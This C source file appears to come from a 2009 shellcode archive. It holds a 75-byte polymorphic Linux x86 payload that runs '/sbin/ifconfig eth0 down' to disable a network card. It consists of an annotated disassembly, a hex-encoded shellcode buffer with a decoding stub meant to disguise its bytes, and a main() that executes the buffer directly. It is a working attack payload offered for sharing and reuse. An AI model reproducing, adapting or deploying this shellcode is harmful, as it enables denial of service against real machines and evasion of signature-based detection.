/* Linux x86 - Polymorphic shellcode for disable Network Card (default eth0) - 75 bytes
* Jonathan Salwan < submit [!] shell-storm.org >
*
* ! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ !
*
*
* Disassembly of section .text:
*
* 08048060 <_start>:
* 8048060: 6a 0b push $0xb
* 8048062: 58 pop %eax
* 8048063: 99 cltd
* 8048064: 52 push %edx
* 8048065: 68 64 6f 77 6e push $0x6e776f64
* 804806a: 89 e6 mov %esp,%esi
* 804806c: 52 push %edx
* 804806d: 68 65 74 68 30 push $0x30687465 < (eth0) you can change it for other Network card
* 8048072: 89 e1 mov %esp,%ecx
* 8048074: 52 push %edx
* 8048075: 68 6e 66 69 67 push $0x6769666e
* 804807a: 68 69 66 63 6f push $0x6f636669
* 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
* 8048084: 68 2f 2f 73 62 push $0x62732f2f
* 8048089: 89 e3 mov %esp,%ebx
* 804808b: 52 push %edx
* 804808c: 56 push %esi
* 804808d: 51 push %ecx
* 804808e: 53 push %ebx
* 804808f: 89 e1 mov %esp,%ecx
* 8048091: cd 80 int $0x80
*
*/
main()
{
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x51\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x6b\x0c\x59\x9a\x53\x69\x65\x70"
"\x78\x6f\x8a\xe7\x53\x69\x66\x75"
"\x69\x31\x8a\xe2\x53\x69\x6f\x67"
"\x6a\x68\x69\x6a\x67\x64\x70\x69"
"\x6a\x6f\x30\x30\x69\x30\x30\x74"
"\x63\x8a\xe4\x53\x57\x52\x54\x8a"
"\xe2\xce\x81";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
// milw0rm.com [2009-08-26]
